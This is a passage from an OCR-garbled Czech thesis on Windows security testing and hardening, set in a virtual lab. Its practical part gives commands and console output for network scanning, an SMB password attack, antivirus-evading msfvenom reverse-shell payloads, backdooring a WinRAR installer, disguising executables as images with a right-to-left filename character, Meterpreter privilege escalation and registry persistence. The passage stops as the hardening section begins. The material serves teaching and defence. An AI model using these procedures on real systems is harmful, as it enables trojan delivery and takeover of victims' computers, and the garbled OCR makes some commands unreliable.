Neposledni v fadé podobnou funkci jako NIST zastava neziskova organizace Center for
Internet Security (CIS). Jejich cilem je také pozdvihnout kybernetickou bezpecnost a vylepsit
reakci subjekti na bezpecnostni hrozby. Centrum pro internetovou bezpecnost spolupracuje
s mnoha organizacemi, od soukromych subjektd, akademickych center az po vladu a nabizi

sluzby a produkty zvysujici zabezpeceni v prostiedi internetu.
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Podobné¢ jako NVD nabizi upozornéni na hrozby, detailni popisy jednotlivych hrozeb a jejich
potencialni rizika pro vladu nebo podniky a zaroven obsahuji doporuceni, které by se méla

aplikovat pro odstranéni nebo vyhnuti se riziku zneuziti hrozby treti stranou.

e https://www.cisecurity.org/resources/advisory/
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9 POROVNANI

Porovnat produkty Security Compliance Manager se Security Content Automation Protocol je
pomérn¢ obtizné, prestoze jsou si oba podobné ahlavni cile maji spole¢né. Vyznamnym
rozdilem miize byt samotné pouziti. Jelikoz jak jiz z ndzvu vyplyva, SCM je nastrojem, ktery
v zékladu po svém rozbaleni a instalaci obsahuje mnozstvi checklistt, které ziska z Microsoft
databaze, tyto checklisty obsahujici pravidla je mozné vyuzit K vykonavani a dosazeni
compliance. Jeho vystupy lze po kontrole exportovat do GPO nebo také do SCAP a pouze pro

zavedeni nastavenych politik je nutné vyuzit skript.

vy e

V piipadé SCAPU je to o trosku komplikovanéjsi, jelikoz se nejedna primarné o program, ale
0 metodu pro pouzivani standardti vyvinuté primarné¢ organizaci NIST, do které ptispivaji riizné
organizace vcetné Microsoftu, coz v kone¢ném disledku mize znamenat rychlejsi a aktualné;si
informace o0 hrozbach. Spusténi samotné kontroly mize byt 0 néco slozitéjsi, jelikoz sam SCAP
nedisponuje rozhranim, a proto je nutné pouzit tfeba open-source knihovnu, jenz umozni vyuzit
sadu standardii. Takovym néstrojem mutize byt kuptikladu OpenSCAP, jenz poskytuje rozhrani
uzivatelim, zaroven minimalizuje usili potfebné k praci aporozuméni jednotlivym

standardum.
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10 PRAKTICKA CAST
10.1 Metasploit

Pro ovéfovani funkCnosti a penetracni testovani je vyuzivan nejpopularnéjsi Framework
jménem Metasploit. Metasploit je vyvijen a vytvaien jako open source projekt spolecnosti
Rapid7 za ucelem vytvaiet aprovadét exploity proti vzdalenému =zafizeni. Databaze
Metasploitu obsahuje vice jak tisic exploitl, payloadu a dalsi znacné mnozstvi nastroju, slouzici
pro testovani vSech operacnich systémii. Samotny program obsahuje nékolik rozhrani, od
klasické konzole az po webové rozhrani. Metasploit je také soucasti Kali Linuxu, ktery je

vyuZzivan pro tuto praci.

Pro zahajeni prace s Metasploitem je nutné inicializovat databazi (msfdb init) a nasledné je
nutné program spustit (msfconsole). Zobrazeni vSech dostupnych exploiti a jejich popist je

mozné pomoci show exploits. Dalsi piikazy a postupy jsou ptedvedeny v pozdé&jsich fazich.

10.2 Modelova sit’

Modelovy piiklad je feSen ve virtualizovaném v prostfedi Oracle VirtualBox a sestava ze tfech
zatizeni, které jsou vzajemné¢ propojend. Prostiedi se sklada z Windows 10, Windows Server
2012 a z Linux Kali, ze kterého budou provadény pokusy 0 napadnuti systému. Na AP funguje
DHCP, které piidéluje rozsah adres v siti 10.0.2.1/24.

[ ] Internet

F
L 7 Modem

| -l..‘___/
Kali Linux
(|

Access
Paint

- -,
) J

g g

Windows

Server 2003 Windows 10

Obrazek 14 - modelovana sit’, Zdroj: Viastni
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10.3 Testovani

Pfed samotnym hardeningem jednotlivych systémti, bylo provedeno testovani na
nainstalovanych systémech za ucelem zjisténi, zda obsahuji dostatecné slabiny, které by

umoznily ziskani kontroly nebo alespon uzite¢nych informaci uto¢nikovi.

Veskeré utoky je mozné provadét vzdalené pomoci sité internetu, nicméné podobné ttoky jsou
mnohem naroéngj§i jak na priizkum, tak na samotné provedeni. Utok na zafizeni, ktera
disponuji vetejnou IP adresou, nebyva jednoduchy, jelikoz takova zafizeni byvaji dobie
zabezpecena, pravé pred podobnymi pokusy. Ostatni zafizeni nedisponujici vetejnou IP
adresou se vétSinou skryvaji za NAT servery ISP nebo za vlastnimi pfistupovymi body.
V takovém piipadé utoc¢nik ziskd pouze informace a IP adresu pfistupového bodu, namisto
informaci 0 samotném zafizeni. Proto provedeni utoku na konkrétni zafizeni v siti internetu
neni Uplné€ snadné a zpravidla ziskani kontroly nad takovym zatizenim, pakliZe se Gitok povede,
je otazkou nékolika mési¢ni tézké prace, socialniho inZenyrstvi, ¢i backdooru na cilovém

zatizeni.

JestliZze uto¢nik vi, Ze se nachazi ve stejné siti jako dalsi zafizeni, na ktera chce utocit, musi
Vv prvé fad¢ zjistit jejich IP adresy. Na takovy prizkum je mozné vyuZit n€kolik riznych aplikaci

véetné€ zenmap nebo nize pouzitého netdiscover.

root@Kkali: ~ @ ® 0

Upravit Zobrazit Hledat Terminal Napovéda

Soubor
) ~# nétdiscover -r 10.0.2.0/24

Currently scanning: Finished! | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 6 hosts. Total size: 360

MAC Address MAC Vendor / Hostname

Unknown vendor
Unknown vendor
PCS Systemtechnik GmbH
PCS Systemtechnik GmbH
PCS Systemtechnik GmbH
PCS Systemtechnik GmbH

Obrazek 15 - netdiscover - enumerace pripojenych zarizeni, Zdroj: Viastni
V jistych ptipadech uto¢nik nemusi tusit, zda ¢i kolik je v siti aktivnich zafizeni a tak musi
naslouchat sitovému provozu, ktery mu umozni ziskat zdkladni informace. K takovému

ptipadu umoziuje netdiscover pasivni mod.
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# netdiscover -p

Currently scanning: (passive) | Screen View: Unique Hosts

9 Captured ARP Req/Rep packets, from 3 hosts. Total size: 540

At MAC Address Count Len MAC Vendor / Hostname

08:00:27:0c:18:51 PCS Systemtechnik GmbH
08:00:27:cc:be:ac PCS Systemtechnik GmbH
08:00:27:f3:dd:a9 PCS Systemtechnik GmbH

Obrazek 16 - netdiscover - pasivni mod, Zdroj: Vliastni

Jak bylo ptiblizeno v teoretické ¢asti, ziskanim IP adresy pripadné cile, priizkum nekonci. Je
nezbytné nutné ziskat dalsi informace 0 cili a tak ve chvili, kdy jsou zndmé dostupné adresy
V siti, je nutné vybrat konkrétni cil. Opét se nabizi n¢kolik moZnosti, jak ziskat informace
0 ptipojenych zatizeni. Dilezité je ziskat informace jaky operacni systém je provozovany, jaka
je jeho verze, zda ma néjaké oteviené porty Ci sluzby, které by se daly zneuzit.

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenS5H 6.7 (protocol 2.0)

| ssh-hostkey:

| 1024 26:1f:f2:b0:d7:5c:72:6:59:62:91:ef:16:7b:b0:45 (DSA)

| 2048 12:8d:dc:95:26:80:a4:7c:3e:36:28:09:53:bd:05:e8 (RSA)

| 521 6l:ea:3b:4c:91:57:6e:04:96:b5:5f:cb:bf:7d:6a:56 (ECDSA)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 10 Enterprise Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 08:00:27:CC:BE:AF (Oracle VirtualBox virtual NIC)

No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Obrazek 17 - Zenmap - sken porti, Zdroj: Viasmi

Uptime guess: 0.041 days (since Mon Aug 14 14:25:34 2017)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=257 (Good luck!)

IP ID Sequence Generation: Incremental
Service Info: Host: MSEDGEWIN1O; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| clock-skew: mean: 1ls, deviation: Os, median: 1s
| smb-os-discovery:
05: Windows 10 Enterprise Evaluation 14393 (Windows 10 Enterprise Evaluation 6.3)
0S CPE: cpe:/o:microsoft:windows 10::-
NetBIOS computer name: MSEDGEWIN10\x00
Workgroup: WORKGROUP\x80
|  System time: 2017-08-14T12:24:04-07:080
| smb-security-mode:
account used: <blank=
authentication_level: user
challenge_response: supported
_ message _signing: disabled (dangerous, but default)
| smbvZ-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT ADDRESS
1 0.72 ms 10.0.2.8

Obrazek 18 - Zenmap - informace o cili, Zdroj: Viastni
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:~# nmap 10.0.2.8 -0 -sV

Starting Nmap 7.40@ ( https://nmap.org ) at 2017-08-14 15:51 EDT
Nmap scan report for 10.0.2.8
Host is up (0.00034s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenS5H 6.7 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup:

MAC Address: 08:00:27:CC:BE:AF (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Microsoft Windows 10

0S CPE: cpe:/o:microsoft:windows 10

05 details: Microsoft Windows 10 build 10586

Network Distance: 1 hop

Service Info: Host: MSEDGEWIN1O; 0S5: Windows; CPE: cpe:/o:microsoft:windows

Obrazek 19 - nmap - Sken TCP porti, Zdroj: Viastni

STATE SERVICE VERSION
open|filtered ntp
open netbios-ns Microsoft Windows netbios-ns (workgroup:

8/udp open|filtered netbios-dgm
open|filtered isakmp

open|filtered upnp
1500/udp open|filtered nat-t-ike
b353/udp open|filtered zeroconf
IAC Address: 08:00:27:CC:BE:AF (Oracle VirtualBox virtual NIC)
bervice Info: Host: MSEDGEWIN1O; 0S: Windows; CPE: cpe:/o:microsoft:windows

Obrazek 20 - nmap -Sken UDP porti, Zdroj: Viastni

Zadany ptikaz obsahuje pouZzity program, cilovou IP adresu a parametr —sV, ktery zobrazi
sluzby ajejich verze nainstalované Vv systému. Z téchto vysledkl ziskava uto¢nik seznam
otevienych portil a jiz vi, jaky operaéni systém je zde provozovany. Uto¢nik ziskal zakladni
informace, které potiebuje, aby mohl zahdjit svij Gtok. Toto konkrétni zatfizeni provozuje
Windows 10, ma oteviené 4 TCP porty a na kazdém portu bézi néktera sluzba. Nyni Gtocnik
musi zjistit, zda nékterd sluzba neni zastarala ¢i zda nebyla béhem konfigurovani uvedenych
sluzeb vytvofena chyba, kterou by mohl zneuzit Kk proniknuti do sytému. Paklize jednotlivé
sluzby nezna, muze je vlozit do vyhledavace a hledat v databazi slabin a exploitt. V tomto
pfipad¢ se na obou nainstalovanych verzi Windowsu, nenachazi zadné vyuzitelné slabiny. Je to
pievazné proto, ze se jednd 0 Cisté instalace bez jakychkoliv dodate¢nych programt, které by
zvysili zranitelnost at’ uz Spatnou konfiguraci ¢i otevienymi porty. Cilem této prace neni

nainstalovani dodate¢nych programti, 0 kterych autor vi, Ze obsahuji slabiny a existuji pro né
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exploity a v takovém piipadé bylo mozné simulovat napadnuti systému s vyuzitim metasploit

frameworku a ziskani kontroly nad zatfizenim, ale ovéfeni bezpecnosti a provedeni hardeningu.

Dalsi moznosti, kterou miize uto¢nik zkusit je pouziti brutal force s cilem ziskat pfistup do
systému. Paklize by hacker neznal ani uzivatelské jméno ani heslo, mohl by byt takovy ptistup
pomoci SMB (Server Message Block) a nastroje nmap pouzit enumeraci a ziskat dodatecné
informace o systému. Kupiikladu seznam pouzivanych uzivatelskych u¢tl, seznam sdilenych
slozek, kam bylo mozné nahrat trojského koné nebo jiny typ Skodlivého kédu. S ptichodem
novéjsich verzi a UAC (User Account Control), které je defaultné povolena a aktivni, vSak

ptestala byt takova varianta mozna, proto se bez nadsazky da tvrdit, ze systémy od Windows

Vewr

V potaz se vSak musi brat vyuziti socialniho inzenyrstvi, kde se mize Gtoc¢nik pokusit ziskat
identitu ¢i osobni data uZzivatelii pomoci manipulace legitimniho uzivatele systému. Takova
manipulace je znacn¢ jednodusi a efektivnéjsi cesta k ziskdni obsahu, nez obtizné prekonavani
technologickych piekazek. Utoénik vyuzitim socialnich siti se vetfe do piizné obéti pod
faleSnou zdminkou nebo vydavajici se za spolupracovnika, nadiizeného nebo administratora,
ktery si pod néjakou faleSnou zdminkou fekne 0 pfihlasovaci udaje. Timto zpiisobem je Gitocnik
schopen ziskdvat informace nebo donutit obéti délat to, co si pieje. Jakmile ma uto¢nik
uzivatelské jméno muiize se opét pokusit spustit brutal force utok a ziskat kompletni ptihlasovaci

udaje.

Paklize by se uto¢nik rozhodl pro spusténi brutal force utoku jiz se znalosti ptfihlaSovaciho

jména, mize stdhnout databazi hesel a s vyuzitim Metasploit frameworku spustit utok.

auxiliary( ) > use auxiliary/scanner/smb/smb login
mst auxiliary( )} > set rhosts 10.0.2.8
rhosts => 10.0.2.8
mst auxiliary( } » set smbuser Martin

smbuser == Martin

msf auxiliary( ) > set pass file /root/Downloads/passwords.txt
pass file => /root/Downloads/passwords.txt

mst auxiliary|( } = run

Obriazek 21 - Metasploit - slovnikovy utok, Zdroj: Viastni

V ptipad€ pouziti slabého hesla, miiZze byt heslo prolomeno Vv ,rozumném* ase a ziskané

piihlaSovaci udaje mohou byt zneuzity.
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Dalsi moznosti, je ziskani kontroly pomoci socidlniho inZzenyrstvi nebo podvodné stranky, na

kterou umisti trojského koné, ktery si miize uto¢nik velmi snadno vytvofit.

Metasploit obsahuje mnozstvi payloadi, coz se da charakterizovat jako Skodlivy kod, jenz
vykonéva predem urcenou Cinnost. Metasploit také umoznuje vytvaret vlastni payloady pomoci
msfvenom. Tento program je schopny nejen vytvofit vlastni payload, ale je také schopen ho

zakddovat tak, aby nebyl rozpoznatelny antivirovym softwarem.
>> msfvenom -h // zobrazeni napovédy
Vytvoteni TCP payloadu:

>> msfvenom -p windows/x64/meterpreter/reverse tcp -a x64

lport=8080 lhost=10.0.2.15 -f exe > /root/Desktop/payload.exe

Vyse uvedeny piikaz vytvoii payload pro 64 bitovy systém nastavi port a IP adresu tto¢nika
a vybere format payloadu. Takovyto payload by vsak byl detekovan, proto je nezbytné nutné
ho zasifrovat. Jednim z velmi popularnich encoderli pro 32bitové systémy je Shikata Ga Nai,

ktery za spravnych podminek neni zachycen antivirem.

>> msfvenom -1 encoders // zobrazeni v3ech encoderu, ranku

a popisu

hikata ga nai e iglFolymorphic XOR Additive Feedback Encoder
i atic bit manual Single Static Bit
ixed WERTE] Alphaz Alphanumeric Unicode Mixedcase Encoder

.‘»'.-L.,r'unicc:-de:upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Obriazek 22 - msfvenom - zobrazeni encoderi, Zdroj: Viasmi
>> msfvenom -a x64 -p windows/x64/meterpreter/reverse tcp
lport=8080 lhost=10.0.2.15 —-f exe —-e x86/shikata ga nai -i 3 -
b '\x00\xff' > /root/Desktop/payload.exe

Stejny prikaz jako vySe zminény, jen s tim rozdilem, ze byl dopInén 0 Sifrovani, 0 pocet kolikrat
bude payload Sifrovan a 0 seznam znakl, kterym se ma Sifrovani vyhnout. Timto zptisobem
vytvoreny payload je jiz ve vétsiné ptipada neodhalitelny. Stale je vSak nezbytné, podobnym
zpusobem vytvoreny Skodlivy payload dorudit cili. Soubor vSak nesmi vypadat podeziele
a uzivatel ho musi chtit spustit a vykonat to, co potebuje, aniz by to v ném vzbudilo podezienti,

ze probiha nekorektni operace.
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Pro podobny ptipad, je dobré zakombinovat skodlivy kéd do programu, ktery je uzivateli znamy
nebo povédomy. Pfesné za timto ucelem je vytvoreny Veil framework, ktery sice neni nativni
soucasti Kali Linuxu, ale je mozné ho doinstalovat pomoci apt-get install veil-evasion.
Vyhodou vyuziti takového trojského kon¢ je ziskani neomezenych administratorskych prav,
bez jakéhokoliv upozornéni cile. Veil Framework je pomoci native/backdoor factory schopny
zakodovat skodlivy kod napiiklad do exe souboru aniz by ho zménil, avSak funkcionalita

souboru neni pln¢€ zachovana.

Jakykoliv spustitelny soubor je idedlni, od Putty, WinSCP, nebo WinRAR, ktery je pouzity

Vv tomto piipadé a do jehoz instala¢niho souboru byl ptidan backdoor.
>> veil-evasion // spu$téni frameworku

>>1ist // zobrazeni v3ech dostupnych payloadua

[native/backdoor factory==]: set LHOST 10.0.2.15

[i] LHOST == 18.0.2.15

[native/backdoor factory==]: set LPORT 8080

[i] LPORT == 8080

[native/backdoor factory=>>]: set ORIGINAL EXE /root/Desktop/winrar-x64-540cz.exe
[*] ORIGINAL EXE == /root/Desktop/winrar-x64-540cz.exe

[native/backdoor factory=>>]: set PAYLOAD iat reverse tcp inline threaded

[*] PAYLOAD == iat reverse tcp inline threaded

[*] PAYLOAD => iat reverse tcp inline threaded
[native/backdoor factory>>]: info

Payload information:

Name: native/backdoor factory

Language: native

Rating: Normal

Description: Import of the BackdoorFactory. Supports PE and ELF
file formats. Author: Joshua Pitts @midnite runr

Required Options:

Name Current Value Description

LHOST 10.0.2.15 IP of the Metasploit handler

LPORT 8080 Port of the Metasploit handler

ORIGINAL_ EXE /root/Desktop/winrar-x64-540cz.exe PE or ELF executable to run through the Backdoor Factory
PATCH_METHOD Automatic Either Manual or Automatic. For use with payloads that have * threaded in the name
PAYLOAD iat reverse tcp inline threaded PE or ELF: meter tcp, rev_shell, custom | PE only meter_ https

[native/backdoor factory>>]: I

Obrazek 24 - veil-evasion - vypis nastaveni, Zdroj: Viastni

Na vySe uvedenych obrazcich je mozné vidét nastaveni LHOST, coZ je IP adresa Kali Linuxu,
LPORT je port, na kterém bude naslouchéano, originalni soubor, ktery bude zkombinovan se

Skodlivym kodem a vybran samotny payload, ktery bude pouzit.
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Po vygenerovani vznikne novy soubor, obsahujici Skodlivy kod a pivodni program.

Nyni je vSe piipraveno na to, aby utoénik zacal poslouchat, zda uzivatel nespustil soubor

a nenavazal tak spojeni.

msf exploit( ) > set payload windows/shell reverse tcp
payload => windows/shell reverse tcp

msf exploit( ) > set lport 8080

lport => 8080

msf exploit( ) > set lhost 10.0.2.15

lhost => 10.0.2.15

msf exploit( ) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/shell reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 = The listen address
LPORT 8080 yes The listen port

Exploit target:

Id Name

© Wildcard Target

msf exploit(

Obrazek 25 - msf - poslouchani p¥ichozich spojeni, Zdroj: Viastni

Jakmile dojde ke spusténi listeneru, Metasploit ceka na navazani spojeni ze strany klienta. Ve
chvili, kdy Klient spusti program, navaze backdoor spojeni s Metasploitem a ptedda mu
administratorska prava do systému. V té chvili je hackerovi umoznéno ovladat nebo ziskat

jakykoliv soubor ze zatizeni.

Jak uz bylo zminéno, pouziti Veil-evasion je mozné, nicméné problém vznika pfi spusténi
souboru, ktery se jevi jako poskozeny, i kdyz pro uto¢nika i takovy soubor funguje. Pro plné
zachovani funkcionality souboru a nevzbuzeni podezieni uzivatele, 1ze vyuzit injektujici nastroj

Shelter, ktery je schopen vlozit Skodlivy kéd do nativni Windows aplikace.

Pokud hacker pouzije Shelter, uzivatel se nema jak dozveédét, Ze se prave stal obéti, jelikoZ na

utok nereaguje ani antivirus ani Windows Defender.

Po stahnuti a spusténi programu ve wine, vybere uto¢nik soubor, ktery bude sloucen

s backdoorem a stejné jako u pfedchozich dvou piipadi nastavi payload, LHOST, LPORT
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a vyckéd na vygenerovani souboru. Spusti Metasploit, a opét stejné jako v dfive uvedenych

ptipadech nastavi listener. Poté musi podstrcit soubor uzivateli a ¢ekat az soubor spusti.

msf > use exploit/multi/handler

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 10.0.2.15

lhost => 10.0.2.15

msf exploit( ) > set lport 8080

lport => 8080

mst exploit( ) > run
Exploit running as background job.

Started reverse TCP handler on 10.0.2.15:8080
exploit( ) > [*] Sending stage (956991 bytes) to 10.0.2.5
| Meterpreter session 1 opened (10.0.2.15:8080 -> 10.0.2.5:49937) a
t 2017-08-18 15:44:32 -0400

Obrazek 26 - metasploit - navazani spojeni, Zdroj: Viastni
Okam?Zité po otevieni souboru uZivatelem dojde ke spojeni s tto¢nikem a uto¢nik je notifikovan
navazanym spojenim. Paklize se uto¢nikovi podafilo navazat nékolik spojeni najednou, mize
vybirat mezi jednotlivymi relacemi a provadét jednotlivé ukony jako je stahnuti, nahrani nebo
spusténi jakéhokoliv souboru. Utoénik dale miize zakazat pouzivani mysi, klavesnice miize
pomoci meterpreteru zaznamenavat stisknuté klavesy nebo ukoncovat jednotlivé sluzby

a procesy.

Dtikazem ziskani pfistupu a ziskdni administratorskych prav pomoci eskalace, tudiz ziskané

informace a neomezeny pfistup ke konzoli.

meterpreter > sysinfo
: MSEDGEWIN10O

: Windows 10 (Build 14393).
x64
en US
: WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

meterpreter > get
get timeouts getlwd getproxy getuid

getpid getsid getwd
getprivs getsystem
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obrazek 27 - meterpreter - systémové informace, Zdroj: Viastni

70



meterpreter > execute -f cmd.exe -i -H

Process 5776 created.

Channel 1 created.

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. ALl rights reserved.

C:\Users\IEUser\Downloads>dir

dir

Volume in drive C is Windows 10
Volume Serial Number is 905D-2DAS8

Directory of C:\Users\IEUser\Downloads

08/18/2017 12:45 PM <DIR>
08/18/2017 12:45 PM <DIR> aeh
08/14/2017 02:13 PM 1,888,745 apache 1.3.1-0s2.zip
08/14/2017 02:11 PM 10,908,051 httpd-2.0.54-win32-src.zip
08/14/2017 02:15 PM 11,308,815 httpd-2.2.34-win32-src.zip
08/16/2017 10:21 AM 167,158,784 metasploit-latest-windows-installer.exe
08/14/2017 02:05 PM 1,548,288 mysql-installer-web-community-5.6.16.0.msi
08/18/2017 12:45 PM 9,155,584 WinSCP-5.9.6-Setup.exe
08/18/2017 12:44 PM 1,989,120 wrar550.exe
7 File(s) 203,957,387 bytes
2 Dir(s) 23,780,171,776 bytes free

Obrazek 28 - meterpreter - Windows konzole, Zdroj: Viatni
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C:\Users\IEUser\Downloads>net user

net user

User accounts for \\MSEDGEWIN10

Administrator DefaultAccount
IEUser Petr
sshd server

The command completed successfully.

C:\Users\IEUser\Downloads>net user Administrator

net user Administrator
User name

Full Name

Comment

User's comment
Country/region code
Account active

Account expires

Administrator

Built-in account for administering the computer/domain

000 (System Default)
No
Never

Password last set 7/21/2016 9:11:47 AM
Password expires Never

Password changeable 7/21/2016 9:11:47 AM
Password required Yes

User may change password Yes

Workstations allowed All
Logon script

User profile

Home directory

Last logon

Logon hours allowed

Obrazek 29 - meterpreter — vypis vSech uzivateld, Zdroj: Viastni
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C:\Users\IEUser\Downloads>net user Administrator heslo
net user Administrator heslo
The command completed successfully.

C:\Users\IEUser\Downloads>net user Administrator

net user Administrator

User name Administrator

Full Name

Comment Built-in account for administering the computer/domain
User's comment

Country/region code 000 (System Default)

Account active No

Account expires Never

Password last set 8/18/2017 1:10:44 PM
Password expires Never

Password changeable 8/18/2017 1:10:44 PM
Password required Yes

User may change password Yes

Obrazek 30 - meterpreter - zména hesla uzZivatele Administrator, Zdroj: Viastni

Naprosto stejny postup je mozné aplikovat i pro Windows Server, ktery sice po ziskani

nakazeného souboru upozornil na soubor z neoveéteného zdroje, avSak spusténi nezabranil.

meterpreter > sessions 3
[*] Backgrounding session 2...

[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : WIN-7CKEF1TS5RF
0S : Windows 2012 (Build 9200).

Architecture : X64

System Language : cs CZ

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > |}

Obrazek 31 - meterpreter - eskalace pristupovych prav Windows Server, Zdroj: Viastni
Dorugdit program uzivateli a pfimét jej, aby soubor oteviel, mize byt znacné komplikovany
proces. Proto 0 mnoho jednodussi pfistup je schovani exploitu do jiného souboru, ktery pro
uzivatele bude ptiznivEj$i. Autolt umoznuje zkombinovat jakykoliv soubor s exploitem, at’ uz
se jedna o0 obrazek, mp3, wav, pdf nebo jakykoliv jiny spustitelny soubor, s takovou ikonou

nebo nadhledem, aby odpovidal souboru.
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Aut2Exe v3 - Autolt Script to EXE Converter @ 0

File  Compression  Help

Tearn
—Files
Source (Autolt .au3) IZ:'l,ru:u:ut'l,Du:uwnIu:uads'l,execute_script.au3 Erowse |
Destination {.exel.a3x) O exe a3
IZ:'l,rn-:ut'l,Du:uwnInads'l,waII.exe Browse |
rOptions
Cuskom Iron §.ico File) I2:'l,rn:n:nt'I,Dn:-wnln:nads'l,shells-?gzg12_1920.ic-:| Brgwsel DgFauItl
Compile for Syskem ¥ w4
Convert

Obrazek 32 - Autolt - vlozeni §kodlivého kodu do obrazku, Zdroj: Viastni

Nevyhodou nové vytvotreného obrazku je, ze ma ptiponu exe, takze problematiky znaly uzivatel
okamzité mize vyhodnotit podobny soubor jako podeziely, jelikoz béZna piipona obrazku byva
jina. Ani to vSak nemusi byt pro hackera nefesitelny problém, jelikoz existuje zptisob, jak se da
pfipona zamaskovat a nevzbudit prvotni podezieni okamzité. Idea celého maskovani je pouziti

specialniho znaku U+202E, ktery piepisuje smér ¢teni zprava doleva.

Utoénik, ktery chce prepsat nazev souboru wallpaper.exe, napise na konec jména souboru
pfevracenou novou piiponu. Pokud chce jpg, tak napiSe wallpapergpj.exe a nasledné vlozi
specidlni znak, ¢imz docili vysledku wallpaperexe.jpg. Pro lepsi optické zdani muze

prejmenovat soubor na jin€ jméno tieba wallexe.jpg.

Vsechny uvedené postupy utoku jsou vSak k ni¢emu, pokud utoénik nemad moznost, jak
zachovat spojeni s napadenym systémem, at’ uz po nasilném zavieni backdooru nebo restartu
pocitace. Proto musi zajistit, aby se $kodlivy kod propsal do registrii systému a byl schopen

opakované navazat spojeni s uto¢nikem.
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exploit( ) > use exploit/windows/local/persistence
exploit( ) > set exe name servicel

name => servicel

exploit( ) > sessions

Active sessions

Information Connection

1 meterpreter x86/windows MSEDGEWIN1O\IEUser @ MSEDGEWIN1® 10.0.2.15:8080 -> 10.0.2.5:50172 (10.6.2.5)

msf exploit( ) > set session 1

session => 1

msf exploit( ) > set EXE::CUSTOM /root/Desktop/payloadl.exe
EXE: :CUSTOM => /root/Desktop/payloadl.exe

msf exploit( ) > show options

Module options (exploit/windows/local/persistence)
Name Current Setting Required Description

DELAY Delay (in seconds) for persistent payload to keep reconnecting back

EXE NAME servicel The filename for the payload to be used on the target host (%RAND%.exe by default).

PATH Path to write payload (%TEMP% by default).

REG NAME The name to call registry value for persistence on target host (%RAND% by default).
SESSION The session to run this module on.

STARTUP Startup type for the persistent payload. (Accepted: USER, SYSTEM)

VBS_NAME The filename to use for the VBS persistent script on the target host (%RAND% by default).

Obrazek 33 - msf - nastaveni trvalého spojeni, Zdroj: Viastni

Vytvoteni sluzby na cilovém zatizeni. Sluzba opétovné po 10 sekunddch spousti program

(payload) paklize dojde ke ztraté spojeni.

exploit( ) > run

Running persistent module against MSEDGEWIN1® via session ID: 1

Using custom payload /root/Desktop/payloadl.exe, RHOST and RPORT settings will be ignored!
Persistent VBS script written on MSEDGEWIN1@® to C:\Users\IEUser\AppData\Local\Temp\ZkxuaOAMQpk.vbs
Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GBcaSwMfqptx

Installed autorun on MSEDGEWIN1® as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GBcaSwMfqptx

Clean up Meterpreter RC file: /root/.msf4/logs/persistence/MSEDGEWIN1® 20170819.5323/MSEDGEWIN1O® 20170819.5323.rc
msf exploit( ) > [*] 10.0.2.5 - Meterpreter session 1 closed. Reason: Died

exploit( ) > [*] Sending stage (956991 bytes) to 10.0.2.5
[*] Meterpreter session 2 opened (10.0.2.15:8080 -> 10.0.2.5:49733) at 2017-08-19 08:56:40 -0400

Obrazek 34 - msf - aspé$né injektovani payloadu a navazani spojeni po restartu, Zdroj: Viasmi
Nahrani a aktivace sluzby na cilové zafizeni. Obrazek ¢. 34 také ilustruje ztratu a obnoveni
spojeni z duvodu restartovani pocitace. Paklize by doslo K uzavieni spojeni, at’ uz umyslnému
¢i neimyslnému na stran¢ Gto¢nika, je mozné znovu spustit skript a vyckat nastavenou dobu na

opctovny pokus 0 navazani spojeni ze strany napadnutého systému.

¢ Searchindexer.exe 3248 Running SYSTEM 00 548 K Microsoft Windows Sear...
[z Searchll.exe 3532 Suspended IEUser 00 31,652 K Search and Cortana app...
[m=|servicel.exe 4660  Running [EUser 00 3716 K servicel.exe ;
[#:] services.exe 528 Running SYSTEM 05 2,252 K Services and Controller ...
[®=] ShellExperienceHost.... 3440 Suspended I[EUser 00 16,080 K Windows Shell Experien...

Obrazek 35 - Windows aktivni sluzby, Zdroj: Viastni

Sluzba, kterd je viditelnd, spusténa uzivatelem, avSak pro n¢j neznama4, je nachylna na odhaleni
a nahlaseni. Proto existuje moznost, ktera je schopna aktualni payload skryt a zakomponovat

do jiné znamé sluzby a ucinit Skodlivy koéd zcela neviditelny.
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10.4 Hardening
10.4.1 Windows 10

Pied tim, neZ je zahajen hardening je nezbytné ziskat z duvéryhodného zdroje a nainstalovat
opera¢ni systém. DalSim krokem je kontrola zapnuti UAC a nataveni firewallu. Nastaveni
sitovych profilti, zakézani zjiStovani sité nebo sdileni soubort a tiskaren by mélo byt uvedeno
V provoz. Vyjimky pro privatni sit¢ se mohou vyskytnout, nicméné konfigurace pro vetejné sité

by méla byt zcela nekompromisni, a veskeré sdileni by mélo byt zakazané.

Kontrola wuzivatelskych u¢th avymazani nepotfebnych uzivatelskych ucth. V ptipadé
jednouzivatelského systému je nezbytné nutné se ujistit, ze ptistup do systému je zabezpeceny

dostate¢né silnym heslem.

V tomto pripade byly na systému vytvorené dva uzivatelské ucty a Guest ucet. Nepouzivany
